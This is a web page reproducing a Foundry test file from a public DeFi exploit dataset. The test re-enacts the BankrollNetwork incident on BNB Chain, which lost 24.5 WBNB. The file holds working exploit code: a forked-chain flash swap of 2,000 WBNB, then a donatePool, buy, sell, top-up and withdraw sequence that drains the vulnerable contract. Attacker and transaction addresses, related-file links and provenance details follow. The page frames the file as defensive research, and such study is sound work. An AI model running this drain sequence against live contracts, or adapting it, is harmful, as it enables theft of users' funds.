Public reproduction file
src/test/2025-06/BankrollNetwork_exp.sol
Public reproduction file for dataset entry BankrollNetwork.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : 24.5 WBNB8// Attacker : https://bscscan.com/address/0x2dea406bb3bea68d6be8d9ef0071fdf63082fb529// Attack Contract : https://bscscan.com/address/0xe63a5c681cacb8484c8a989cfdd41b8e3b7a2be210// Vulnerable Contract : https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e11// Attack Tx : https://bscscan.com/tx/0x7226b3947c7e8651982e5bd777bca52d03ea31d19b515dec123595a4435ae22c13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e#code16// @Analysis17// Post-mortem : https://x.com/Phalcon_xyz/status/194351856683129656618// Twitter Guy : https://x.com/TenArmorAlert/status/193561810980245946419// Hacking God : N/A20pragma solidity ^0.8.0;22contract BankrollNetwork is BaseTestWithBalanceLog {23 uint256 blocknumToForkFrom = 51_715_418 - 1;24 uint256 borrow_amount;26 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));27 IUniswapV2Pair pair = IUniswapV2Pair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);28 IBankrollNetworkStack bankRollNetwork = IBankrollNetworkStack(0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e);31 function setUp() public {32 vm.createSelectFork("bsc", blocknumToForkFrom);33 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit34 fundingToken = address(WBNB);35 }37 function testExploit() public balanceLog {38 emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);40 borrow_amount = 2_000 ether;41 pair.swap(0, borrow_amount, address(this), "0x3030");43 emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);44 }47 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {48 WBNB.approve(address(bankRollNetwork), type(uint256).max);50 emit log_named_decimal_uint("[Before] Attacker bank roll balance", bankRollNetwork.myTokens(), 0);51 emit log_named_decimal_uint("[Before] Attacker bank roll dividends", bankRollNetwork.myDividends(), 0);53 bankRollNetwork.donatePool(1000 ether);55 bankRollNetwork.buy(240 ether);57 emit log_named_decimal_uint("[After] Attacker bank roll balance", bankRollNetwork.myTokens(), 0);58 emit log_named_decimal_uint("[After] Attacker bank roll dividends", bankRollNetwork.myDividends(), 0);60 bankRollNetwork.sell(bankRollNetwork.myTokens());62 uint256 topUp = 94064984776383565540;63 WBNB.transfer(address(bankRollNetwork), topUp);65 bankRollNetwork.withdraw();67 uint256 repay_amount = 2005200000000000000000;68 WBNB.transfer(address(pair), repay_amount);69}71 receive() external payable {}72}74 interface IBankrollNetworkStack {75 function donatePool(uint256 tokenAmount) external; 76 function buy(uint256 tokenAmount) external returns (uint256);77 function sell(uint256 tokenAmount) external;78 function myTokens() external view returns (uint256);79 function myDividends() external view returns (uint256);80 function withdraw() external;81}Analysis
Dataset entry
Public Foundry test for “BankrollNetwork” (2025-06-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52
- Attack Contract
0xe63a5c681cacb8484c8a989cfdd41b8e3b7a2be2
- Vulnerable Contract
0xadefb902cab716b8043c5231ae9a50b8b4ee7c4e
- Attack Tx
0x7226b3947c7e8651982e5bd777bca52d03ea31d19b515dec123595a4435ae22c
- Post: https://x.com/Phalcon_xyz/status/1943518566831296566
- Twitter: https://x.com/TenArmorAlert/status/1935618109802459464
- Explorer: https://bscscan.com/address/0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52
- Explorer: https://bscscan.com/address/0xe63a5c681cacb8484c8a989cfdd41b8e3b7a2be2
- Explorer: https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e
- Explorer: https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e#code
File record
- Name
- BankrollNetwork
- Path
- src/test/2025-06/BankrollNetwork_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f7f9df81191ad0233b93ae6d43acbfd5854ad114
- Language
- Solidity
- Size
- 84 lines
- Date
- 2025-06-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/BankrollNetwork_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f7f9df81191ad0233b93ae6d43acbfd5854ad114, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.